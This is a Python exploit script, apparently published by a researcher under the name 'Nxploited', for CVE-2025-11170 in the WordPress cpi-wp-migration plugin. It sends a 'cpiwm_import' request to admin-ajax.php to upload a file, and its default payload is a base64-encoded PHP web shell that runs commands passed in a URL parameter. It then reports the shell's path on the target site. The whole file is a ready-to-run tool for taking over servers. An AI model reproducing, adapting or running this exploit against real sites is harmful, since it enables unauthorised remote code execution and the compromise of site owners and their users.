#!/usr/bin/env python3 # By: Nxploited # https://github.com/Nxploited import argparse import base64 import logging import sys import time from dataclasses import dataclass, field from typing import Dict import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry LOG_FORMAT = "[%(asctime)s] %(levelname)-7s [%(name)s]: %(message)s" GITHUB_PROFILE = "https://github.com/Nxploited" @dataclass class NxploitedConfig: url: str filename: str data_b64: str index: str headers: Dict[str, str] = field(default_factory=dict) timeout: int = 10 retries: int = 3 backoff: float = 0.7 verbose: int = 1 def Nxploited_logging(level: int): log_level = logging.DEBUG if level >= 2 else logging.INFO if level == 1 else logging.WARNING logging.basicConfig(level=log_level, format=LOG_FORMAT) logging.getLogger("urllib3").setLevel(logging.WARNING) def Nxploited_retry_session(cfg: NxploitedConfig) -> requests.Session: session = requests.Session() retry = Retry( total=cfg.retries, backoff_factor=cfg.backoff, status_forcelist=[429, 500, 502, 503, 504], allowed_methods=frozenset(['POST']) ) adapter = HTTPAdapter(max_retries=retry) session.mount("http://", adapter) session.mount("https://", adapter) base_headers = { "User-Agent": "Nxploited-CVE2025/1.0 (+https://nxploited.com/)", "Accept": "application/json,text/plain,*/*", "Accept-Language": "en-US,en;q=0.8", "Connection": "keep-alive" } if cfg.headers: base_headers.update(cfg.headers) session.headers.update(base_headers) return session def Nxploited_show_step(msg, wait=0.4): print(msg, flush=True) time.sleep(wait) def Nxploited_build_payload(cfg: NxploitedConfig) -> Dict[str, str]: return dict( action="cpiwm_import", filename=cfg.filename, data=cfg.data_b64, index=cfg.index ) def Nxploited_send(cfg: NxploitedConfig, payload: dict) -> requests.Response: session = Nxploited_retry_session(cfg) Nxploited_show_step("Uploading shell...", 0.8) resp = session.post(cfg.url, data=payload, timeout=cfg.timeout) resp.raise_for_status() return resp def Nxploited_output_result(resp: requests.Response, cfg: NxploitedConfig, base_url: str) -> None: Nxploited_show_step("Processing response...", 0.6) text = resp.text.strip() if text == "0": Nxploited_show_step("[+] Upload successful!", 0.4) path = f"{base_url}/wp-content/plugins/cpi-wp-migration/storage/{cfg.filename}" Nxploited_show_step("Shell path:", 0.4) Nxploited_show_step(path, 0.2) Nxploited_show_step("Nxploited", 0.2) Nxploited_show_step(f"My GitHub: {GITHUB_PROFILE}", 0.2) else: Nxploited_show_step("[!] Unexpected response (not '0')", 0.5) Nxploited_show_step("--- Response Summary ---", 0.2) Nxploited_show_step(f"HTTP Code: {resp.status_code}", 0.2) print(text if len(text) < 700 else (text[:700] + "...(trimmed)")) def Nxploited_parse_args(argv=None) -> (NxploitedConfig, str): parser = argparse.ArgumentParser( description="Exploit For CVE-2025-11170 By: Nxploited", epilog="Automated shell upload for vulnerable WordPress plugin." ) parser.add_argument("-u", "--url", required=True, help="Target site URL (example: http://site.com/wordpress/)") parser.add_argument("-f", "--filename", default="shell.php", help="Shell filename (default: shell.php)") parser.add_argument("-d", "--data", default="PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+", help="Shell content as base64 (or raw text)") parser.add_argument("-i", "--index", default="0", help="Index value (default: 0)") parser.add_argument("-H", "--headers", help="Extra headers in format 'X-Key:V;K2:V2'") parser.add_argument("-t", "--timeout", type=int, default=10, help="Timeout in seconds") parser.add_argument("--retries", type=int, default=3, help="Retry attempts") parser.add_argument("--backoff", type=float, default=0.7, help="Backoff factor for retries") parser.add_argument("-v", "--verbose", action="count", default=1, help="Verbosity level (repeat -v for more)") args = parser.parse_args(argv) headers = dict() if args.headers: for item in args.headers.split(';'): if ':' in item: k, v = item.split(':', 1) headers[k.strip()] = v.strip() base_url = args.url.rstrip('/') ajax_url = f"{base_url}/wp-admin/admin-ajax.php" return NxploitedConfig( url=ajax_url, filename=args.filename, data_b64=args.data, index=args.index, headers=headers, timeout=args.timeout, retries=args.retries, backoff=args.backoff, verbose=args.verbose ), base_url def Nxploited_main(cfg: NxploitedConfig, base_url: str) -> None: Nxploited_logging(cfg.verbose) payload = Nxploited_build_payload(cfg) try: resp = Nxploited_send(cfg, payload) Nxploited_output_result(resp, cfg, base_url) except Exception as e: Nxploited_show_step(f"[!] Upload failed: {e}", 0.15) sys.exit(2) def Nxploited(argv=None) -> None: cfg, base_url = Nxploited_parse_args(argv) Nxploited_main(cfg, base_url) if __name__ == "__main__": try: Nxploited() except KeyboardInterrupt: print("\nStopped by user.") sys.exit(1)